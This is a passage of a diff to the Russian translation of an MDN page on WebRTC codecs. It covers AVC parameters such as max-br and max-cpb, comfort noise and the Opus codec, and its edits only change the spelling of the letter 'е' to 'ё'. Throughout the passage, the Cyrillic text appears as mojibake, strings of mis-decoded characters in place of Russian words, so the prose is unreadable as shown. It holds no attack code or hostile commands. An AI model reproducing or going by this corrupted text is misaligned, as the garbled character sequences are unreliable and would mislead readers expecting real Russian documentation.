ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π²ΠΈΠ΄Π΅ΠΎ..</p>
-<p>Наш <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">ΠΎΠ±Π·ΠΎΡ€Β  AVC</a>Β ΠΈ Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π² основном руководствС ΠΏΠΎ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°ΠΌ.</p>
+<p>Наш <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">ΠΎΠ±Π·ΠΎΡ€Β  AVC</a>Β ΠΈ Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π² основном руководствС ΠΏΠΎ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°ΠΌ.</p>
<h4 id="ВрСбования_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ_ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ…_ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²">ВрСбования ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²</h4>
-<p>AVC ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ спСктр ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² для управлСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ значСниями.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ Π½Π°Π΄Π΅ΠΆΠ½ΠΎΡΡ‚ΡŒ совмСстного использования ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° WebRTC Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ… ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ WebRTC, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ AVC, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. Иногда это просто ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ (ΠΈΠ»ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½) ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ. Иногда это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. А иногда трСбования Π±ΠΎΠ»Π΅Π΅ слоТны.</p>
+<p>AVC ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ спСктр ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² для управлСния Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ значСниями.Β Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΡΡ‚ΡŒ совмСстного использования ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° WebRTC Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ… ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ WebRTC, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ AVC, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ. Иногда это просто ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ (ΠΈΠ»ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½) ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ. Иногда это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° ΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠΈΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π½Π°Π±ΠΎΡ€ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ. А иногда трСбования Π±ΠΎΠ»Π΅Π΅ слоТны.</p>
<h5 id="ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅_Π½ΠΎ_Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹">ΠŸΠΎΠ»Π΅Π·Π½Ρ‹Π΅, Π½ΠΎ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</h5>
@@ -115,9 +115,9 @@ original_slug: Web/Media/Formats/WebRTC_ΠΊΠΎΠ΄Π΅ΠΊΠΈ
<dl>
<dt><code>max-br</code></dt>
- <dd>Если ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΈ поддСрТиваСтся , он опрСдСляСт ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π²ΠΈΠ΄Π΅ΠΎΠ΄Π°Π½Π½Ρ‹Ρ… Π²Β Β Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ…Β 1,000 bps (Π±ΠΈΡ‚ Π² сСкунду) для VCL ΠΈΒ 1,200 bps (Π±ΠΈΡ‚ Π² сСкунду) для NAL. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ Π½Π°Β Β <a href="https://tools.ietf.org/html/rfc6184#page-47">страницС 47 спСцификации RFC 6184</a>.</dd>
+ <dd>Если ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΈ поддСрТиваСтся , он опрСдСляСт ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Π²ΠΈΠ΄Π΅ΠΎΠ΄Π°Π½Π½Ρ‹Ρ… Π²Β Β Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ…Β 1,000 bps (Π±ΠΈΡ‚ Π² сСкунду) для VCL ΠΈΒ 1,200 bps (Π±ΠΈΡ‚ Π² сСкунду) для NAL. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ Π½Π°Β Β <a href="https://tools.ietf.org/html/rfc6184#page-47">страницС 47 спСцификации RFC 6184</a>.</dd>
<dt><code>max-cpb</code></dt>
- <dd>Если ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΈ поддСрТиваСтся, ΠΎΠ½ опрСдСляСт ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±ΡƒΡ„Π΅Ρ€Π°, ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. НСмного услоТнСнный ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°Ρ€ΡŒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π½Π° <a href="https://tools.ietf.org/html/rfc6184#page-45">страницу  45 спСцификации RFC 6184</a>Β ΠΎ подробностях.</dd>
+ <dd>Если ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΈ поддСрТиваСтся, ΠΎΠ½ опрСдСляСт ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±ΡƒΡ„Π΅Ρ€Π°, ΠΊΠΎΠ΄ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. НСмного услоТнённый ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°Ρ€ΡŒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΠΌ Π½Π° <a href="https://tools.ietf.org/html/rfc6184#page-45">страницу  45 спСцификации RFC 6184</a>Β ΠΎ подробностях.</dd>
<dt><code>max-dpb</code></dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·ΠΌΠ΅Ρ€ Π±ΡƒΡ„Π΅Ρ€Π°Β  Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹Ρ… Π² Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ… Β 8/3 ΠΌΠ°ΠΊΡ€ΠΎΠ±Π»ΠΎΠΊΠΎΠ². ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΡΡ‚ΠΈ Π² спСцификации <a href="https://tools.ietf.org/html/rfc6184#page-46">RFC 6184, страница 46</a>.</dd>
<dt><code>max-fs</code></dt>
@@ -128,7 +128,7 @@ original_slug: Web/Media/Formats/WebRTC_ΠΊΠΎΠ΄Π΅ΠΊΠΈ
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ обработки статичСских ΠΌΠ°ΠΊΡ€ΠΎΠ±Π»ΠΎΠΊΠΎΠ² Π² сСкунду (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ гипотСтичСскоС ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ всС ΠΌΠ°ΠΊΡ€ΠΎΠ±Π»ΠΎΠΊΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ статичСскими ΠΌΠ°ΠΊΡ€ΠΎΠ±Π»ΠΎΠΊΠ°ΠΌΠΈ).</dd>
</dl>
-<h5 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹_с_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ_трСбованиями">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ трСбованиями</h5>
+<h5 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹_с_ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ_трСбованиями">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ трСбованиями</h5>
<p>Π­Ρ‚ΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ, Π½ΠΎ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ трСбования ΠΏΡ€ΠΈ ΠΈΡ… использовании.</p>
@@ -229,7 +229,7 @@ original_slug: Web/Media/Formats/WebRTC_ΠΊΠΎΠ΄Π΅ΠΊΠΈ
<p><a id="other-audio-foot-2" name="other-audio-foot-2">[2]</a> The <strong>{{interwiki("wikipedia", "Internet Speech Audio Codec")}}</strong> (<strong>iSAC</strong>)Β  -Β  Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄Π΅ΠΊ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉΒ Global IP Solutions, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ Google, ΠΎΡ‚ΠΊΡ€Ρ‹Π²ΡˆΠΈΠΉ Π΅Π³ΠΎ ΠΊΠΎΠ΄. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Google Talk, QQ, ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ быстрых сообщСний, ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ спроСктированный для голосовых сообщСний, ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Π½Π½Ρ‹Ρ… Π²Β ΠΏΠΎΡ‚ΠΎΠΊΒ RTP. Пока Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΌ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠΌ.Β ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ΡΡ Safari ΠΈΒ Chrome. НС поддСрТиваСтся Firefox ΠΈΒ Edge.</p>
-<p><strong>{{interwiki("wikipedia", "Comfort noise")}}</strong> (<strong>CN</strong>) - ΠΊΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½Ρ‹ΠΉ ΡˆΡƒΠΌ. ЯвляСтся Ρ„ΠΎΡ€ΠΌΠΎΠΉ искусствСнного Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ ΡˆΡƒΠΌΠ°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅Π³ΠΎΡΡ для заполнСния ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² Π² ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅, вмСсто использования ΠΏΠΎΠ»Π½ΠΎΠΉ Ρ‚ΠΈΡˆΠΈΠ½Ρ‹. ΠŸΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… эффСктов, Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΡ…, ΠΊΠΎΠ³Π΄Π° голосовая активация ΠΈΠ»ΠΈ подобная Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ  Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ приостановлСниС ΠΏΠΎΡ‚ΠΎΠΊΠ°, извСстная ΠΊΠ°ΠΊ прСрывистая ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° (Discontinuous Transmission (DTX)). Π’ спСцификации {{RFC(3389)}}, ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅Β Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅Β Π² Π±Π΅Π·Π·Π²ΡƒΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ°Ρ….</p>
+<p><strong>{{interwiki("wikipedia", "Comfort noise")}}</strong> (<strong>CN</strong>) - ΠΊΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½Ρ‹ΠΉ ΡˆΡƒΠΌ. ЯвляСтся Ρ„ΠΎΡ€ΠΌΠΎΠΉ искусствСнного Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ³ΠΎ ΡˆΡƒΠΌΠ°, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅Π³ΠΎΡΡ для заполнСния ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² Π² ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅, вмСсто использования ΠΏΠΎΠ»Π½ΠΎΠΉ Ρ‚ΠΈΡˆΠΈΠ½Ρ‹. ΠŸΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Π²ΠΈΠ±Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… эффСктов, Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΡ…, ΠΊΠΎΠ³Π΄Π° голосовая активация ΠΈΠ»ΠΈ подобная Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ  Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ΅ приостановлСниС ΠΏΠΎΡ‚ΠΎΠΊΠ°, извСстная ΠΊΠ°ΠΊ прСрывистая ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° (Discontinuous Transmission (DTX)). Π’ спСцификации {{RFC(3389)}}, ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅Β Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅Β Π² Π±Π΅Π·Π·Π²ΡƒΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΊΠ°Ρ….</p>
<p>ΠšΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½Ρ‹ΠΉ ΡˆΡƒΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ с G.711 ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΊΠΎΠ΄Π΅ΠΊΠ°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ встроСнной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ CN. КодСк Opus, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΈΠΌΠ΅Π΅Ρ‚Β ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽΒ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽΒ CN, поэтому использованиС RFC 3389 CN с ΠΊΠΎΠ΄Π΅ΠΊΠΎΠΌ Opus Π½Π΅ рСкомСндуСтся.</p>
@@ -237,11 +237,11 @@ original_slug: Web/Media/Formats/WebRTC_ΠΊΠΎΠ΄Π΅ΠΊΠΈ
<h3 id="КодСк_Opus">КодСк Opus</h3>
-<p>Π€ΠΎΡ€ΠΌΠ°Ρ‚ Opus, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π² {{RFC (6716)}}), являСтся основным Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠΌ для Π°ΡƒΠ΄ΠΈΠΎ Π² WebRTC.Β Π€ΠΎΡ€ΠΌΠ°Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ RTP для Opus находится Π² {{RFC (7587)}}. ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽΒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± Opus ΠΈ Π΅Π³ΠΎ возмоТностях, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ API ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Opus, Π²Β <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ сСкции</a>Β  нашСго <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">руководства по Π°ΡƒΠ΄ΠΈΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌΡΡ Π²Β web</a>.</p>
+<p>Π€ΠΎΡ€ΠΌΠ°Ρ‚ Opus, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π² {{RFC (6716)}}), являСтся основным Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠΌ для Π°ΡƒΠ΄ΠΈΠΎ Π² WebRTC.Β Π€ΠΎΡ€ΠΌΠ°Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ RTP для Opus находится Π² {{RFC (7587)}}. ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽΒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± Opus ΠΈ Π΅Π³ΠΎ возмоТностях, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ API ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ Opus, Π²Β <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ сСкции</a>Β  нашСго <a href="/en-US/docs/Web/Media/Formats/Audio_codecs">руководства по Π°ΡƒΠ΄ΠΈΠΎΠΊΠΎΠ΄Π΅ΠΊΠ°ΠΌ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌΡΡ Π²Β web</a>.</p>
